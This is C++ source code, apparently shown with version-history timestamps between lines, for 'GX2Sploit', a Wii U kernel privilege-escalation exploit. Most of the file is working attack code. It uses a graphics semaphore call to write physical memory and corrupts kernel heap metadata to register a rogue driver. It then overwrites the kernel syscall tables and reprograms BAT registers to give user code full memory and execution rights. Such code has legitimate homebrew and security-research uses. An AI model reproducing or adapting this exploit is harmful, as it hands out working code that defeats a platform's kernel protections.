2020-04-26 13:41:39 +02:00
# include <coreinit/core.h>
# include <coreinit/memory.h>
# include <coreinit/debug.h>
# include <coreinit/thread.h>
# include <coreinit/cache.h>
# include <coreinit/dynload.h>
# include <coreinit/thread.h>
# include <coreinit/exit.h>
# include <sysapp/launch.h>
# include <gx2/state.h>
# include <coreinit/memorymap.h>
# include <whb/log.h>
# include <malloc.h>
# include <string.h>
# include "ElfUtils.h"
# include "gx2sploit.h"
2020-08-21 23:03:53 +02:00
# define JIT_ADDRESS 0x01800000
2020-04-26 13:41:39 +02:00
2020-08-21 23:03:53 +02:00
# define KERN_HEAP 0xFF200000
# define KERN_HEAP_PHYS 0x1B800000
2020-04-26 13:41:39 +02:00
2020-08-21 23:03:53 +02:00
# define KERN_CODE_READ 0xFFF023D4
# define KERN_CODE_WRITE 0xFFF023F4
# define KERN_DRVPTR 0xFFEAB530
2020-04-26 13:41:39 +02:00
2020-08-21 23:03:53 +02:00
# define STARTID_OFFSET 0x08
# define METADATA_OFFSET 0x14
# define METADATA_SIZE 0x10
2020-04-26 13:41:39 +02:00
extern " C " void SCKernelCopyData ( uint32_t addr , uint32_t src , uint32_t len ) ;
/* Find a gadget based on a sequence of words */
static void * find_gadget ( uint32_t code [ ] , uint32_t length , uint32_t gadgets_start ) {
uint32_t * ptr ;
/* Search code before JIT area first */
2020-07-22 15:12:25 +02:00
for ( ptr = ( uint32_t * ) gadgets_start ; ptr ! = ( uint32_t * ) JIT_ADDRESS ; ptr + + ) {
2020-08-21 23:03:53 +02:00
if ( ! memcmp ( ptr , & code [ 0 ] , length ) ) {
2020-04-26 13:41:39 +02:00
return ptr ;
2020-08-21 23:03:53 +02:00
}
2020-04-26 13:41:39 +02:00
}
OSFatal ( " Failed to find gadget! " ) ;
return NULL ;
}
/* Chadderz's kernel write function */
void __attribute__ ( ( noinline ) ) kern_write ( const void * addr , uint32_t value ) {
asm volatile (
2020-07-22 15:12:25 +02:00
" li 3,1 \n "
" li 4,0 \n "
" mr 5,%1 \n "
" li 6,0 \n "
" li 7,0 \n "
" lis 8,1 \n "
" mr 9,%0 \n "
" mr %1,1 \n "
" li 0,0x3500 \n "
" sc \n "
" nop \n "
" mr 1,%1 \n "
:
: " r " ( addr ) , " r " ( value )
: " memory " , " ctr " , " lr " , " 0 " , " 3 " , " 4 " , " 5 " , " 6 " , " 7 " , " 8 " , " 9 " , " 10 " ,
" 11 " , " 12 "
2020-04-26 13:41:39 +02:00
) ;
}
extern " C " void OSSwitchSecCodeGenMode ( int ) ;
int exploitThread ( int argc , char * * argv ) {
OSDynLoad_Module gx2_handle ;
OSDynLoad_Acquire ( " gx2.rpl " , & gx2_handle ) ;
void ( * pGX2SetSemaphore ) ( uint64_t * sem , int action ) ;
2020-07-22 15:12:25 +02:00
OSDynLoad_FindExport ( gx2_handle , 0 , " GX2SetSemaphore " , ( void * * ) & pGX2SetSemaphore ) ;
uint32_t set_semaphore = ( ( uint32_t ) pGX2SetSemaphore ) + 0x2C ;
2020-04-26 13:41:39 +02:00
uint32_t gx2_init_attributes [ 9 ] ;
2020-07-22 15:12:25 +02:00
uint8_t * gx2CommandBuffer = ( uint8_t * ) memalign ( 0x40 , 0x400000 ) ;
2020-04-26 13:41:39 +02:00
gx2_init_attributes [ 0 ] = 1 ;
2020-07-22 15:12:25 +02:00
gx2_init_attributes [ 1 ] = ( uint32_t ) gx2CommandBuffer ;
2020-04-26 13:41:39 +02:00
gx2_init_attributes [ 2 ] = 2 ;
gx2_init_attributes [ 3 ] = 0x400000 ;
gx2_init_attributes [ 4 ] = 7 ;
gx2_init_attributes [ 5 ] = 0 ;
gx2_init_attributes [ 6 ] = 8 ;
gx2_init_attributes [ 7 ] = 0 ;
gx2_init_attributes [ 8 ] = 0 ;
GX2Init ( gx2_init_attributes ) ; //don't actually know if this is necessary? so temp? (from loadiine or hbl idk)
/* Allocate space for DRVHAX */
2020-07-22 15:12:25 +02:00
uint32_t * drvhax = ( uint32_t * ) OSAllocFromSystem ( 0x4c , 4 ) ;
2020-04-26 13:41:39 +02:00
/* Set the kernel heap metadata entry */
2020-07-22 15:12:25 +02:00
uint32_t * metadata = ( uint32_t * ) ( KERN_HEAP + METADATA_OFFSET + ( 0x02000000 * METADATA_SIZE ) ) ;
metadata [ 0 ] = ( uint32_t ) drvhax ;
metadata [ 1 ] = ( uint32_t ) - 0x4c ;
metadata [ 2 ] = ( uint32_t ) - 1 ;
metadata [ 3 ] = ( uint32_t ) - 1 ;
2020-04-26 13:41:39 +02:00
/* Find stuff */
uint32_t gx2data [ ] = { 0xfc2a0000 } ;
uint32_t gx2data_addr = ( uint32_t ) find_gadget ( gx2data , 0x04 , 0x10000000 ) ;
uint32_t doflush [ ] = { 0xba810008 , 0x8001003c , 0x7c0803a6 , 0x38210038 , 0x4e800020 , 0x9421ffe0 , 0xbf61000c , 0x7c0802a6 , 0x7c7e1b78 , 0x7c9f2378 , 0x90010024 } ;
2020-08-21 23:03:53 +02:00
void ( * do_flush ) ( uint32_t arg0 , uint32_t arg1 ) = ( void ( * ) ( uint32_t , uint32_t ) ) ( ( ( uint32_t ) find_gadget ( doflush , 0x2C , 0x01000000 ) ) + 0x14 ) ;
2020-04-26 13:41:39 +02:00
/* Modify a next ptr on the heap */
uint32_t kpaddr = KERN_HEAP_PHYS + STARTID_OFFSET ;
set_semaphore_phys ( set_semaphore , kpaddr , gx2data_addr ) ;
set_semaphore_phys ( set_semaphore , kpaddr , gx2data_addr ) ;
do_flush ( 0x100 , 1 ) ;
/* Register a new OSDriver, DRVHAX */
char drvname [ 6 ] = { ' D ' , ' R ' , ' V ' , ' H ' , ' A ' , ' X ' } ;
Register ( drvname , 6 , NULL , NULL ) ;
/* Use DRVHAX to install the read and write syscalls */
uint32_t syscalls [ 2 ] = { KERN_CODE_READ , KERN_CODE_WRITE } ;
2020-07-22 15:12:25 +02:00
DCFlushRange ( syscalls , 0x04 * 2 ) ;
2020-04-26 13:41:39 +02:00
/* Modify its save area to point to the kernel syscall table */
2020-07-22 15:12:25 +02:00
drvhax [ 0x44 / 4 ] = KERN_SYSCALL_TBL_1 + ( 0x34 * 4 ) ;
2020-04-26 13:41:39 +02:00
CopyToSaveArea ( drvname , 6 , syscalls , 8 ) ;
2020-07-22 15:12:25 +02:00
drvhax [ 0x44 / 4 ] = KERN_SYSCALL_TBL_2 + ( 0x34 * 4 ) ;
2020-04-26 13:41:39 +02:00
CopyToSaveArea ( drvname , 6 , syscalls , 8 ) ;
2020-07-22 15:12:25 +02:00
drvhax [ 0x44 / 4 ] = KERN_SYSCALL_TBL_3 + ( 0x34 * 4 ) ;
2020-04-26 13:41:39 +02:00
CopyToSaveArea ( drvname , 6 , syscalls , 8 ) ;
2020-07-22 15:12:25 +02:00
drvhax [ 0x44 / 4 ] = KERN_SYSCALL_TBL_4 + ( 0x34 * 4 ) ;
2020-04-26 13:41:39 +02:00
CopyToSaveArea ( drvname , 6 , syscalls , 8 ) ;
2020-07-22 15:12:25 +02:00
drvhax [ 0x44 / 4 ] = KERN_SYSCALL_TBL_5 + ( 0x34 * 4 ) ;
2020-04-26 13:41:39 +02:00
CopyToSaveArea ( drvname , 6 , syscalls , 8 ) ;
/* Clean up the heap and driver list so we can exit */
2020-07-22 15:12:25 +02:00
kern_write ( ( void * ) ( KERN_HEAP + STARTID_OFFSET ) , 0 ) ;
kern_write ( ( void * ) KERN_DRVPTR , drvhax [ 0x48 / 4 ] ) ;
2020-04-26 13:41:39 +02:00
// Install CopyData syscall
2020-07-22 15:12:25 +02:00
kern_write ( ( void * ) ( KERN_SYSCALL_TBL_1 + ( 0x25 * 4 ) ) , ( uint32_t ) 0x1800000 ) ;
kern_write ( ( void * ) ( KERN_SYSCALL_TBL_2 + ( 0x25 * 4 ) ) , ( uint32_t ) 0x1800000 ) ;
kern_write ( ( void * ) ( KERN_SYSCALL_TBL_3 + ( 0x25 * 4 ) ) , ( uint32_t ) 0x1800000 ) ;
kern_write ( ( void * ) ( KERN_SYSCALL_TBL_4 + ( 0x25 * 4 ) ) , ( uint32_t ) 0x1800000 ) ;
kern_write ( ( void * ) ( KERN_SYSCALL_TBL_5 + ( 0x25 * 4 ) ) , ( uint32_t ) 0x1800000 ) ;
2020-04-26 13:41:39 +02:00
/* clean shutdown */
GX2Shutdown ( ) ;
free ( gx2CommandBuffer ) ;
return 0 ;
}
2020-07-22 15:12:25 +02:00
2020-04-26 13:41:39 +02:00
void KernelWriteU32 ( uint32_t addr , uint32_t value ) ;
2020-07-22 15:12:25 +02:00
2020-04-26 13:41:39 +02:00
extern " C " void SC_KernelCopyData ( uint32_t dst , uint32_t src , uint32_t len ) ;
void KernelWrite ( uint32_t addr , const void * data , uint32_t length ) {
// This is a hacky workaround, but currently it only works this way. ("data" is always on the stack, so maybe a problem with mapping values from the JIT area?)
// further testing required.
2020-08-21 23:03:53 +02:00
for ( uint32_t i = 0 ; i < length ; i + = 4 ) {
KernelWriteU32 ( addr + i , * ( uint32_t * ) ( ( ( uint32_t ) data ) + i ) ) ;
2020-04-26 13:41:39 +02:00
}
}
void KernelWriteU32 ( uint32_t addr , uint32_t value ) {
ICInvalidateRange ( & value , 4 ) ;
DCFlushRange ( & value , 4 ) ;
uint32_t dst = ( uint32_t ) OSEffectiveToPhysical ( addr ) ;
2020-07-22 15:12:25 +02:00
uint32_t src = ( uint32_t ) OSEffectiveToPhysical ( ( uint32_t ) & value ) ;
2020-04-26 13:41:39 +02:00
SC_KernelCopyData ( dst , src , 4 ) ;
2020-07-22 15:12:25 +02:00
DCFlushRange ( ( void * ) addr , 4 ) ;
ICInvalidateRange ( ( void * ) addr , 4 ) ;
2020-04-26 13:41:39 +02:00
}
static void SCSetupIBAT4DBAT5 ( ) {
asm volatile ( " sync; eieio; isync " ) ;
// Give our and the kernel full execution rights.
// 00800000-01000000 => 30800000-31000000 (read/write, user/supervisor)
unsigned int ibat4u = 0x008000FF ;
unsigned int ibat4l = 0x30800012 ;
asm volatile ( " mtspr 560, %0 " : : " r " ( ibat4u ) ) ;
asm volatile ( " mtspr 561, %0 " : : " r " ( ibat4l ) ) ;
// Give our and the kernel full data access rights.
// 00800000-01000000 => 30800000-31000000 (read/write, user/supervisor)
unsigned int dbat5u = ibat4u ;
unsigned int dbat5l = ibat4l ;
asm volatile ( " mtspr 570, %0 " : : " r " ( dbat5u ) ) ;
asm volatile ( " mtspr 571, %0 " : : " r " ( dbat5l ) ) ;
asm volatile ( " eieio; isync " ) ;
}
extern " C " void SC_0x36_SETBATS ( void ) ;
int DoKernelExploit ( void ) {
WHBLogPrintf ( " Running GX2Sploit " ) ;
/* Make a thread to modify the semaphore */
2020-07-22 15:12:25 +02:00
OSThread * thread = ( OSThread * ) memalign ( 8 , 0x1000 ) ;
uint8_t * stack = ( uint8_t * ) memalign ( 0x40 , 0x2000 ) ;
2020-04-26 13:41:39 +02:00
OSSwitchSecCodeGenMode ( 0 ) ;
2020-07-22 15:12:25 +02:00
memcpy ( ( void * ) 0x1800000 , ( void * ) & SCKernelCopyData , 0x100 ) ;
2020-04-26 13:41:39 +02:00
unsigned int setIBAT0Addr = 0x1800200 ;
2020-07-22 15:12:25 +02:00
unsigned int * curAddr = ( uint32_t * ) setIBAT0Addr ;
2020-04-26 13:41:39 +02:00
2020-07-22 15:12:25 +02:00
curAddr [ 0 ] = 0x7C0006AC ;
curAddr [ 1 ] = 0x4C00012C ;
curAddr [ 2 ] = 0x7C7083A6 ;
curAddr [ 3 ] = 0x7C9183A6 ;
curAddr [ 4 ] = 0x7C0006AC ;
curAddr [ 5 ] = 0x4C00012C ;
curAddr [ 6 ] = 0x4E800020 ;
2020-04-26 13:41:39 +02:00
2020-07-22 15:12:25 +02:00
DCFlushRange ( ( void * ) 0x1800000 , 0x1000 ) ;
ICInvalidateRange ( ( void * ) 0x1800000 , 0x1000 ) ;
2020-04-26 13:41:39 +02:00
OSSwitchSecCodeGenMode ( 1 ) ;
2020-07-22 15:12:25 +02:00
if ( OSCreateThread ( thread , ( OSThreadEntryPointFn ) exploitThread , 0 , NULL , stack + 0x2000 , 0x2000 , 0 , 0x1 ) = = 0 ) {
2020-04-26 13:41:39 +02:00
OSFatal ( " Failed to create thread " ) ;
}
OSResumeThread ( thread ) ;
OSJoinThread ( thread , 0 ) ;
free ( thread ) ;
free ( stack ) ;
unsigned char backupBuffer [ 0x40 ] ;
2020-07-22 15:12:25 +02:00
uint32_t targetBuffer [ 0x40 / 4 ] ;
2020-04-26 13:41:39 +02:00
uint32_t targetAddress = 0x017FF000 ;
2020-07-22 15:12:25 +02:00
KernelWrite ( ( uint32_t ) backupBuffer , ( void * ) 0x017FF000 , 0x40 ) ;
2020-04-26 13:41:39 +02:00
targetBuffer [ 0 ] = 0x7c7082a6 ; // mfspr r3, 528
targetBuffer [ 1 ] = 0x60630003 ; // ori r3, r3, 0x03
targetBuffer [ 2 ] = 0x7c7083a6 ; // mtspr 528, r3
targetBuffer [ 3 ] = 0x7c7282a6 ; // mfspr r3, 530
targetBuffer [ 4 ] = 0x60630003 ; // ori r3, r3, 0x03
targetBuffer [ 5 ] = 0x7c7283a6 ; // mtspr 530, r3
targetBuffer [ 6 ] = 0x7c0006ac ; // eieio
targetBuffer [ 7 ] = 0x4c00012c ; // isync
2020-07-22 15:12:25 +02:00
targetBuffer [ 8 ] = 0x3c600000 | ( ( ( uint32_t ) SCSetupIBAT4DBAT5 ) > > 16 ) ; // lis r3, setup_syscall@h
targetBuffer [ 9 ] = 0x60630000 | ( ( ( uint32_t ) SCSetupIBAT4DBAT5 ) & 0xFFFF ) ; // ori r3, r3, setup_syscall@l
2020-04-26 13:41:39 +02:00
targetBuffer [ 10 ] = 0x7c6903a6 ; // mtctr r3
targetBuffer [ 11 ] = 0x4e800420 ; // bctr
DCFlushRange ( targetBuffer , sizeof ( targetBuffer ) ) ;
2020-07-22 15:12:25 +02:00
KernelWrite ( ( uint32_t ) targetAddress , ( void * ) targetBuffer , 0x40 ) ;
2020-04-26 13:41:39 +02:00
/* set our setup syscall to an unused position */
2020-07-22 15:12:25 +02:00
kern_write ( ( void * ) ( KERN_SYSCALL_TBL_1 + ( 0x36 * 4 ) ) , targetAddress ) ;
kern_write ( ( void * ) ( KERN_SYSCALL_TBL_2 + ( 0x36 * 4 ) ) , targetAddress ) ;
kern_write ( ( void * ) ( KERN_SYSCALL_TBL_3 + ( 0x36 * 4 ) ) , targetAddress ) ;
kern_write ( ( void * ) ( KERN_SYSCALL_TBL_4 + ( 0x36 * 4 ) ) , targetAddress ) ;
kern_write ( ( void * ) ( KERN_SYSCALL_TBL_5 + ( 0x36 * 4 ) ) , targetAddress ) ;
2020-04-26 13:41:39 +02:00
/* run our kernel code :) */
SC_0x36_SETBATS ( ) ;
/* repair data */
KernelWrite ( targetAddress , backupBuffer , sizeof ( backupBuffer ) ) ;
2020-07-22 15:12:25 +02:00
DCFlushRange ( ( void * ) targetAddress , sizeof ( backupBuffer ) ) ;
2020-04-26 13:41:39 +02:00
WHBLogPrintf ( " GX2Sploit done " ) ;
return 1 ;
}